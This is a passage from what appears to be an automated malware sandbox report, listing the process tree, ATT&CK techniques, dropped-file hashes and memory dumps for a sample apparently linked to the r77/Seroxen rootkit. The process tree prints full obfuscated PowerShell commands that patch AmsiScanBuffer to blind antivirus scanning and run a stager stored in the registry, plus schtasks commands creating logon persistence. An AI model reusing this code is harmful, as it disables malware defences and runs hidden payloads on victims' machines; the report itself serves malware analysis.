@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PPBgFtZAPur=$CyXzlczzUpHyP.GetMethod(''+[Char](71)+''+'e'+''+'t'+'M'+[Char](111)+'d'+'u'+''+'l'+'e'+'H'+''+'a'+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+'e'+''+'l'+'32'+[Char](46)+'d'+'l'+''+'l'+'')));$BmlNvfAlZTunvd=$EmazgtawrBlZJV.Invoke($Null,@([Object]$PPBgFtZAPur,[Object](''+'L'+''+[Char](111)+'ad'+[Char](76)+''+'i'+''+[Char](98)+'r'+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$gJKxMzAWQMoAOoFcD=$EmazgtawrBlZJV.Invoke($Null,@([Object]$PPBgFtZAPur,[Object](''+[Char](86)+'ir'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+'te'+[Char](99)+'t')));$mjAOhSq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BmlNvfAlZTunvd,$jIQFQvuPpbVdiaRQZmv).Invoke('a'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$HLRCrwWIQavdVpRmt=$EmazgtawrBlZJV.Invoke($Null,@([Object]$mjAOhSq,[Object](''+'A'+''+'m'+'si'+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+'u'+'f'+''+'f'+'e'+[Char](114)+'')));$htKxzqxXqI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gJKxMzAWQMoAOoFcD,$yMLxmaYbEDFFvevYBXeiTl).Invoke($HLRCrwWIQavdVpRmt,[uint32]8,4,[ref]$htKxzqxXqI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$HLRCrwWIQavdVpRmt,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gJKxMzAWQMoAOoFcD,$yMLxmaYbEDFFvevYBXeiTl).Invoke($HLRCrwWIQavdVpRmt,[uint32]8,0x20,[ref]$htKxzqxXqI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+'TW'+'A'+''+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+[Char](115)+''+'t'+''+[Char](97)+''+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZSoEmkqHXMoT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$CNJqMyRQiZJzBg,[Parameter(Position=1)][Type]$zEEYHSLHQX)$jsazyWUUNNR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+','+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'e'+'a'+[Char](108)+''+'e'+'d'+','+''+[Char](65)+''+[Char](110)+''+'s'+'iC'+[Char](108)+''+[Char](97)+''+'s'+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$jsazyWUUNNR.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+'i'+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+','+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+'P'+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$CNJqMyRQiZJzBg).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+'n'+'a'+[Char](103)+'e'+[Char](100)+'');$jsazyWUUNNR.DefineMethod('I'+'n'+'vo'+[Char](107)+''+[Char](101)+'',''+'P'+'u'+[Char](98)+'li'+[Char](99)+','+[Char](72)+'id'+[Char](101)+'B'+[Char](121)+''+'S'+'i'+'g'+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+'a'+''+'l'+'',$zEEYHSLHQX,$CNJqMyRQiZJzBg).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+'n'+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $jsazyWUUNNR.CreateType();}$KxjjcjftyPVgg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+'m'+'.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+''+'o'+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+'sa'+[Char](102)+''+[Char](101)+''+'N'+''+'a'+'t'+[Char](105)+'v'+'e'+''+'M'+''+'e'+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+'s'+'');$ynHmzwOvwqPYCU=$KxjjcjftyPVgg.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+'d'+''+[Char](100)+''+[Char](114)+'es'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$puhzMpNjGTtNKWLAcbo=ZSoEmkqHXMoT @([String])([IntPtr]);$kUCjhlaLXIBdTxVvXrbSOH=ZSoEmkqHXMoT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kvkfpyyBXkr=$KxjjcjftyPVgg.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'le'+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+'d'+[Char](108)+'l')));$KBLCsjaJSGouxq=$ynHmzwOvwqPYCU.Invoke($Null,@([Object]$kvkfpyyBXkr,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+'Li'+'b'+'r'+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$UxxVaiHNsLOAsLMgH=$ynHmzwOvwqPYCU.Invoke($Null,@([Object]$kvkfpyyBXkr,[Object](''+[Char](86)+'i'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$xqnwHTF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KBLCsjaJSGouxq,$puhzMpNjGTtNKWLAcbo).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$YVUiExEuMDprElJpO=$ynHmzwOvwqPYCU.Invoke($Null,@([Object]$xqnwHTF,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+'n'+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$XxOfmjJSmD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UxxVaiHNsLOAsLMgH,$kUCjhlaLXIBdTxVvXrbSOH).Invoke($YVUiExEuMDprElJpO,[uint32]8,4,[ref]$XxOfmjJSmD);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YVUiExEuMDprElJpO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UxxVaiHNsLOAsLMgH,$kUCjhlaLXIBdTxVvXrbSOH).Invoke($YVUiExEuMDprElJpO,[uint32]8,0x20,[ref]$XxOfmjJSmD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('$'+'7'+''+[Char](55)+'st'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1248
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1424
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  - Modifies registry class
  PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2136

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2288

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2952

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2996

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3296

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3524
- C:\Users\Admin\AppData\Local\Temp\Uni.exe
  "C:\Users\Admin\AppData\Local\Temp\Uni.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:4040
- - C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
    "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2528
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:1836
  - - C:\Users\Admin\AppData\Local\Temp\install.exe
      "C:\Users\Admin\AppData\Local\Temp\install.exe"
      4⤵
      Executes dropped EXE
      PID:2896
- - C:\Users\Admin\AppData\Local\Temp\install.exe
    "C:\Users\Admin\AppData\Local\Temp\install.exe"
    3⤵
    - Executes dropped EXE
    PID:4980
- - C:\Windows\SysWOW64\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3648

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3836

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4048

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3952

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1940

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:2780

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:1564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
1⤵
PID:5096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=124.0.6367.118 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=124.0.2478.80 --initial-client-data=0x238,0x23c,0x240,0x234,0x248,0x7ff8390dceb8,0x7ff8390dcec4,0x7ff8390dced0
  2⤵
  PID:4000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1948,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:3
  2⤵
  PID:4756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3756,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=4316 /prefetch:8
  2⤵
  PID:1864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4240,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=3984 /prefetch:8
  2⤵
  PID:4536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4152

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1912

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4676

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5024

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:4024

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:4564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
37KB

MD5
ce1c353b06a89a0b944ee54c46eabed8

SHA1
a85859f74de16c70ece6a69c3bc192eccb8a9129

SHA256
cc6b67c1f4e14893babd3969d4570244f0a467bed067c74ee59b6d5cb7f3fd1f

SHA512
44b7b8f24a8f756f9f69260843c1d817f3104e2a3be9e4c576b326632fdb5a72f9b47275f087cf4f75201a317181c62ee72acde1158fb59498f56406327ced01

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe

Filesize
409KB

MD5
7417c8c73e614f293152575f46134216

SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805

SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_jq4drdzz.mhr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
aa187cac09f051e24146ad549a0f08a6

SHA1
2ef7fae3652bb838766627fa6584a6e3b5e74ff3

SHA256
7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f

SHA512
960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2

Download Submit
memory/504-107-0x000001ED81AC0000-0x000001ED81AEB000-memory.dmp

Filesize
172KB

Download
memory/604-70-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/604-69-0x0000022D7BAA0000-0x0000022D7BACB000-memory.dmp

Filesize
172KB

Download
memory/604-63-0x0000022D7BAA0000-0x0000022D7BACB000-memory.dmp

Filesize
172KB

Download
memory/604-62-0x0000022D7BAA0000-0x0000022D7BACB000-memory.dmp

Filesize
172KB

Download
memory/604-61-0x0000022D7BA70000-0x0000022D7BA95000-memory.dmp

Filesize
148KB

Download
memory/668-80-0x000002270FD80000-0x000002270FDAB000-memory.dmp

Filesize
172KB

Download
memory/668-81-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/668-74-0x000002270FD80000-0x000002270FDAB000-memory.dmp

Filesize
172KB

Download
memory/944-85-0x00000205F74D0000-0x00000205F74FB000-memory.dmp

Filesize
172KB

Download
memory/944-92-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/944-91-0x00000205F74D0000-0x00000205F74FB000-memory.dmp

Filesize
172KB

Download
memory/992-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/992-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/992-50-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/992-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/992-55-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/992-56-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/992-57-0x00007FF860B50000-0x00007FF860C0E000-memory.dmp

Filesize
760KB

Download
memory/992-58-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1016-96-0x000001E38EDF0000-0x000001E38EE1B000-memory.dmp

Filesize
172KB

Download
memory/1016-102-0x000001E38EDF0000-0x000001E38EE1B000-memory.dmp

Filesize
172KB

Download
memory/1016-103-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/2528-14-0x0000000075230000-0x00000000759E0000-memory.dmp

Filesize
7.7MB

Download
memory/2528-35-0x00000000067B0000-0x00000000067BA000-memory.dmp

Filesize
40KB

Download
memory/2528-1345-0x0000000075230000-0x00000000759E0000-memory.dmp

Filesize
7.7MB

Download
memory/2528-13-0x0000000075230000-0x00000000759E0000-memory.dmp

Filesize
7.7MB

Download
memory/3776-47-0x00007FF860B50000-0x00007FF860C0E000-memory.dmp

Filesize
760KB

Download
memory/3776-46-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/3776-45-0x000001A6FAC70000-0x000001A6FAC9A000-memory.dmp

Filesize
168KB

Download
memory/3776-21-0x000001A6F83D0000-0x000001A6F83F2000-memory.dmp

Filesize
136KB

Download
memory/5028-7-0x0000000006A40000-0x0000000006A7C000-memory.dmp

Filesize
240KB

Download
memory/5028-4-0x0000000075230000-0x00000000759E0000-memory.dmp

Filesize
7.7MB

Download
memory/5028-0-0x000000007523E000-0x000000007523F000-memory.dmp

Filesize
4KB

Download
memory/5028-5-0x0000000005700000-0x0000000005766000-memory.dmp

Filesize
408KB

Download
memory/5028-6-0x0000000006500000-0x0000000006512000-memory.dmp

Filesize
72KB

Download
memory/5028-3-0x0000000005810000-0x00000000058A2000-memory.dmp

Filesize
584KB

Download
memory/5028-2-0x0000000005CB0000-0x0000000006254000-memory.dmp

Filesize
5.6MB

Download
memory/5028-20-0x0000000075230000-0x00000000759E0000-memory.dmp

Filesize
7.7MB

Download
memory/5028-1-0x0000000000C80000-0x0000000000CEC000-memory.dmp

Filesize
432KB

Download